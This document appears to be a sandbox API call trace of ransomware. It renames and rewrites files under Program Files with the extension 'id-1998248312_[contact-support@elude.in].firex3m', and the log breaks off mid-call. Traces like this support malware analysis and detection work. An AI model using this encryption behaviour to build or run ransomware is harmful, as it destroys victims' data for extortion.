[0243.445] GetProcessHeap () returned 0x630000 [0243.445] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f98) returned 0x6fe3bb0 [0243.445] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-30.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-30.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.445] Sleep (dwMilliseconds=0x1) [0243.504] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-400_contrast-white.png", len=0x7b | out: pbstr=0x3f7ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-400_contrast-white.png") returned 1 [0243.504] GetProcessHeap () returned 0x630000 [0243.504] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f54) returned 0x6fe3bb0 [0243.504] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-400_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.scale-400_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.504] Sleep (dwMilliseconds=0x1) [0243.523] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\Periscope\\viewers_icon_grey.png", len=0x6f | out: pbstr=0x3f7ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\Periscope\\viewers_icon_grey.png") returned 1 [0243.523] GetProcessHeap () returned 0x630000 [0243.523] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f00) returned 0x6fe3bb0 [0243.523] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\Periscope\\viewers_icon_grey.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\periscope\\viewers_icon_grey.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.525] Sleep (dwMilliseconds=0x1) [0243.549] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\Sybase.xsl", len=0x79 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\Sybase.xsl") returned 1 [0243.550] GetProcessHeap () returned 0x630000 [0243.550] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ecc) returned 0x6fe3bb0 [0243.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\sybase.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0243.622] CloseHandle (hObject=0x6e8) returned 1 [0243.623] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0243.623] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\sybase.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\Sybase.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\sybase.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0243.624] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.624] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\Sybase.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b0ae4ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0ae4ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0ae4ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x76a1, dwReserved0=0x31002d, dwReserved1=0x390039, cFileName="Sybase.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SYBASE~1.FIR")) returned 0x6d5480 [0243.624] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0243.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\Sybase.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\sybase.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0243.624] GetProcessHeap () returned 0x630000 [0243.624] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x76c1) returned 0x7125060 [0243.624] GetProcessHeap () returned 0x630000 [0243.624] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x76c1) returned 0x7264620 [0243.625] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.625] ReadFile (in: hFile=0x6e8, lpBuffer=0x7125060, nNumberOfBytesToRead=0x76a0, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7125060*, lpNumberOfBytesRead=0x3f7ff0c*=0x76a0, lpOverlapped=0x0) returned 1 [0247.191] GetProcessHeap () returned 0x630000 [0247.191] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316f78 [0247.191] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.191] WriteFile (in: hFile=0x6e8, lpBuffer=0x7264620*, nNumberOfBytesToWrite=0x76a0, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7264620*, lpNumberOfBytesWritten=0x3f7ff0c*=0x76a0, lpOverlapped=0x0) returned 1 [0247.192] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.192] WriteFile (in: hFile=0x6e8, lpBuffer=0x726bcbf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x726bcbf*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0247.192] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.192] WriteFile (in: hFile=0x6e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0247.192] CloseHandle (hObject=0x6e8) returned 1 [0247.192] GetProcessHeap () returned 0x630000 [0247.192] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7264620 | out: hHeap=0x630000) returned 1 [0248.978] GetProcessHeap () returned 0x630000 [0248.978] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7125060 | out: hHeap=0x630000) returned 1 [0248.978] GetProcessHeap () returned 0x630000 [0248.978] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316f78 | out: hHeap=0x630000) returned 1 [0249.127] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.127] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\Sybase.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b0ae4ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0ae4ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5949058f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x76c5, dwReserved0=0xcd87496, dwReserved1=0x7125058, cFileName="Sybase.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SYBASE~1.FIR")) returned 0x6d5200 [0249.127] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0249.127] Sleep (dwMilliseconds=0x1) [0249.144] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\News\\News.xml", len=0x8e | out: pbstr=0x3f7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\News\\News.xml") returned 1 [0249.144] GetProcessHeap () returned 0x630000 [0249.144] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e8c) returned 0x6fe3bb0 [0249.145] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\News\\News.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.services\\personalization\\datamodels\\news\\news.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.145] Sleep (dwMilliseconds=0x1) [0249.162] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\configuration.sqlite", len=0x71 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\configuration.sqlite") returned 1 [0249.162] GetProcessHeap () returned 0x630000 [0249.162] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e6c) returned 0x6fe3bb0 [0249.162] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\configuration.sqlite" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\configuration\\configuration.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.163] Sleep (dwMilliseconds=0x1) [0249.231] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\StoreLogo.png", len=0x6c | out: pbstr=0x3f7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\StoreLogo.png") returned 1 [0249.231] GetProcessHeap () returned 0x630000 [0249.231] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e64) returned 0x6fe3bb0 [0249.231] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\StoreLogo.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\storelogo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.234] Sleep (dwMilliseconds=0x1) [0249.248] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_LogoSmall.targetsize-24.png", len=0x81 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_LogoSmall.targetsize-24.png") returned 1 [0249.248] GetProcessHeap () returned 0x630000 [0249.248] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e40) returned 0x6fe3bb0 [0249.248] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_LogoSmall.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\sports_logosmall.targetsize-24.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.251] Sleep (dwMilliseconds=0x1) [0249.267] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Sports_LogoSmall.targetsize-24.png", len=0x90 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Sports_LogoSmall.targetsize-24.png") returned 1 [0249.267] GetProcessHeap () returned 0x630000 [0249.267] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e14) returned 0x6fe3bb0 [0249.267] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Sports_LogoSmall.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\sports_logosmall.targetsize-24.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.267] Sleep (dwMilliseconds=0x1) [0249.291] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\WATER.ELM", len=0x6a | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\WATER.ELM") returned 1 [0249.291] GetProcessHeap () returned 0x630000 [0249.291] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4df4) returned 0x6fe3bb0 [0249.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\WATER.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\water\\water.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0249.562] CloseHandle (hObject=0x5ec) returned 1 [0249.562] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0249.562] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\WATER.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\water\\water.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\WATER.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\water\\water.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0249.564] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.564] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\WATER.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x101cc, dwReserved0=0x74006e, dwReserved1=0x630061, cFileName="WATER.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WATERE~1.FIR")) returned 0x6d5440 [0249.564] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0249.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\WATER.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\water\\water.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0249.564] GetProcessHeap () returned 0x630000 [0249.564] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x754c050 [0249.565] GetProcessHeap () returned 0x630000 [0249.565] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7557480 [0249.566] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.566] ReadFile (in: hFile=0x5ec, lpBuffer=0x754c050, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x754c050*, lpNumberOfBytesRead=0x3f7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0254.196] GetProcessHeap () returned 0x630000 [0254.196] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0255.187] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.187] WriteFile (in: hFile=0x5ec, lpBuffer=0x7557480*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7557480*, lpNumberOfBytesWritten=0x3f7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0255.188] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.188] WriteFile (in: hFile=0x5ec, lpBuffer=0x756287f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x756287f*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0255.188] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.188] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0255.188] CloseHandle (hObject=0x5ec) returned 1 [0255.188] GetProcessHeap () returned 0x630000 [0255.188] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7557480 | out: hHeap=0x630000) returned 1 [0255.188] GetProcessHeap () returned 0x630000 [0255.188] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x754c050 | out: hHeap=0x630000) returned 1 [0255.188] GetProcessHeap () returned 0x630000 [0255.188] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0255.188] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0255.188] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\WATER.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5e0d5f10, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x101f0, dwReserved0=0xcd87496, dwReserved1=0x754c048, cFileName="WATER.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WATERE~1.FIR")) returned 0x6d5380 [0255.188] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0255.189] Sleep (dwMilliseconds=0x1) [0256.239] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\PREVIEW.GIF", len=0x6d | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\PREVIEW.GIF") returned 1 [0256.239] GetProcessHeap () returned 0x630000 [0256.239] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cfc) returned 0x6fe3bb0 [0256.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\indust\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0257.441] CloseHandle (hObject=0x4e8) returned 1 [0257.441] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0257.441] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\indust\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\indust\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0257.442] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.442] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b5591d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b7bb91, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x143b, dwReserved0=0x63005b, dwReserved1=0x6e006f, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d4ec0 [0257.442] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0257.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 